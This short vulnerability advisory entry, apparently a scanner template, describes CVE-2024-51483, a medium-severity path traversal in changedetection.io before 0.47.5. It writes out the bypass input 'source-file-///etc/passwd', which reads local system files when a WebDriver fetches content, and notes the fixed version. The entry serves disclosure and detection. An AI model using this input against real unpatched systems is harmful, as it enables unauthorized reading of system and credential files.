Changedetection.io <= 0.47.4 - Path Traversal

ID: CVE-2024-51483

Severity: medium

Author: iamnoooob,rootxharsh,pdresearch

Tags: cve,cve2024,changedetection,lfi

changedetection.io is free, open source web page change detection software. Prior to version 0.47.5, when a WebDriver is used to fetch files, source-file-///etc/passwd can be used to retrieve local system files, where the more traditional file-///etc/passwd gets blocked. Version 0.47.5 fixes the issue.
